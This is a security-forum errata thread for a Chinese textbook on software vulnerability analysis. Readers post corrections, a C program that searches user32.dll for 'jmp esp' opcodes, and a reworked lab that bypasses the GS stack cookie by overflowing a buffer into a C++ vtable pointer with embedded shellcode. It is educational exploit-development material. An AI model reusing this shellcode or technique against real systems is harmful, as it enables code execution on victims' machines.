《0day安全：软件漏洞分析技术》勘误-《0day:软件漏洞分析技术》-看雪-安全社区|安全招聘|kanxue.com

chapter_05\5_2_locate_shellcode\5_2_search_opcode

#include <windows.h>
#include <stdio.h>
#define DLL_NAME "user32.dll"
main()
{
BYTE* ptr;
int position,address;
HINSTANCE handle;
BOOL done_flag = FALSE;

handle=LoadLibrary(DLL_NAME);

if(!handle)
{
printf(" load dll erro !");
exit(0);
}

ptr = (BYTE*)handle;

for(position = 0; !done_flag; position++)
{
try
{
if(ptr[position] == 0xFF && ptr[position+1] == 0xE4)
{
//0xFFE4 is the opcode of jmp esp
int address = (int)ptr + position;
printf("OPCODE found at 0x%x\n",address);
}
}
catch(...)
{
int address = (int)ptr + position;是不是不用定义了，前面已经有定义了 printf("END OF 0x%x\n", address);
done_flag = true;
}
}
}

2010-10-7 23:29

0

二当家a

雪币： 6381

活跃值： (2131)

能力值：

( LV7，RANK：150 )

在线值：

发帖

16

回帖

107

粉丝

21

关注

私信

二当家a 2: 43 楼

是的。我也发现出错了，而且目前还没有解决。不知道你解决了没？
是因为发生越界检查了嘛？
http://blog.sina.com.cn/s/blog_4a082449010115wq.html

但是无法找到确切的原因。
如有发现，还望告之，谢谢！！

2014-12-10 23:29

0

二当家a

雪币： 6381

活跃值： (2131)

能力值：

( LV7，RANK：150 )

在线值：

发帖

16

回帖

107

粉丝

21

关注

私信

二当家a 2: 44 楼

我也以为是重复定义的。
但是这段代码始终无法正常运行，都会爆出访问错误的。
mingwu环境和VS环境换了之后还是不行。

如有发现，还望告之！万分感谢！

2014-12-10 23:30

0

Exploring

雪币： 163

活跃值： (84)

能力值：

( LV6，RANK：80 )

在线值：

发帖

1

回帖

8

粉丝

0

关注

私信

Exploring: 45 楼

eastmaster
第284页函数原形定义错了，只有一个参数。
应该是
typedef  void  ( _stdcall *MYPROC)(L ...

第2版 P661也是

2017-3-15 19:10

0

zwfy

雪币： 113

活跃值： (62)

能力值：

( LV2，RANK：10 )

在线值：

发帖

8

回帖

105

粉丝

1

关注

私信

zwfy: 46 楼

emem...

最后于 2018-12-28 15:04 被zwfy编辑，原因：

2018-12-6 16:11

0

pureGavin

雪币： 14653

活跃值： (17749)

能力值：

( LV12，RANK：290 )

在线值：

发帖

85

回帖

1422

粉丝

272

关注

私信

pureGavin 3: 47 楼

P567：
这页最下方的shellcode的示例代码里的include有重复（这能算错误么？？虽然不影响阅读）

2018-12-7 09:40

0

pureGavin

雪币： 14653

活跃值： (17749)

能力值：

( LV12，RANK：290 )

在线值：

发帖

85

回帖

1422

粉丝

272

关注

私信

pureGavin 3: 48 楼

pureGavin P567：这页最下方的shellcode的示例代码里的include有重复（这能算错误么？？虽然不影响阅读）

不好意思，发错了，这是加密与解密的错误。。。

2018-12-7 10:05

0

zwfy

雪币： 113

活跃值： (62)

能力值：

( LV2，RANK：10 )

在线值：

发帖

8

回帖

105

粉丝

1

关注

私信

zwfy: 49 楼

P268 10.1 GS 安全编译选项的保护原理 security cookie：
```
但是额外的数据和操作带来的直接后果就是系统性能的下降，为了将对性能的影响降到最
小，编译器在编译程序的时候并不是对所有的函数都应用 GS，以下情况不会应用 GS。
（1）函数不包含缓冲区。
（2）函数被定义为具有变量参数列表。
（3）函数使用无保护的关键字标记
（4）函数在第一个语句中包含内嵌汇编代码。
（5）缓冲区不是 8 字节类型且大小不大于 4 个字节。
```
此处【（2）函数被定义为具有变量参数列表。】应更正为【具有可变长度参数列表】

2018-12-7 11:09

0

zwfy

雪币： 113

活跃值： (62)

能力值：

( LV2，RANK：10 )

在线值：

发帖

8

回帖

105

粉丝

1

关注

私信

zwfy: 50 楼

10.3 覆盖虚函数突破 GS(重构)

原书该节内容表达及截图不匹配，故动手调试程序，并附上一些附加信息，方便理解。

如果我们可以在程序检查 Security Cookie 之前劫持程序流程的话，就可以实现对程序的溢出了，而 C++的虚函数恰恰给我们提供了这么一个机会（对于虚函数溢出的原理大家可以参照 6.3 的内容）。

1. 示例代码

#include "stdafx.h"
#include "string.h"

class GSVirtual {
public :
    void gsv(char * src)
    {
        char buf[200];
        strcpy(buf, src);
        bar(); // virtual function call
    }
    virtual void  bar()
    {
    }
};
int main()
{

    GSVirtual test;
    test.gsv(
        "\x04\x2b\x99\x7C"    
        "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
        "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
        "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
        "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
        "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
        "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
        "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
        "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
        "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
        "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
        "\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
        "\x90\x90\x90\x90\x90\x90\x90\x90"
        );
    return 0;
}

对实验思路和代码简要解释如下。
（1）类 GSVirtual 中的 gsv 函数存在典型的溢出漏洞。
（2）类 GSVirtual 中包含一个虚函数 vir。
（3）当 gsv 函数中的 buf 变量发生溢出的时候有可能会影响到虚表指针，如果我们可以控制虚表指针，将其指向我们的可以控制的内存空间，就可以在程序调用虚函数时控制程序的流程。

说明： shellcode 中头部的 0x7C992B04 为“pop edi; pop esi; retn”指令的地址，不同版本的系统中该地址可能不同，如果您在其他版本中进行实验，可能需要重新设置此地址。

2. Security Cookie初始化

IDA

3. 查看内存布局

为了能够精准地淹没虚函数表，我们需要搞清楚变量与虚表指针在内存中的详细布局，通过前面的分析可以知道当函数 gsv 传入参数的长度大于 200 个字节时，变量 buff 就会被溢出。先将 test.gsv 中传入参数修改为 199 个“\x90” +1 个“\0”，然后用 OllyDbg 加载程序，在执行完 strcpy 后暂停。

当前指令位置：
栈顶状态

0012FE98 == &vtab, vtab == 0x4021D0
栈风水

可以看出我们距离胜利的终点还有 20 个字节，只要参数长度再增加 20 个字节以上就可以改变虚表指针了。

0x12FF78(vtab[item]) - 0x12FE9C(buff) = 220B
注意超过20字节，会覆盖test.gsv() 函数的Security Cookie，虽然会覆盖，但并不影响shellcode执行，因为虚函数调用完成后才会检验Cookie，而虚函数已经被shellcode劫持，因此不会验证Cookie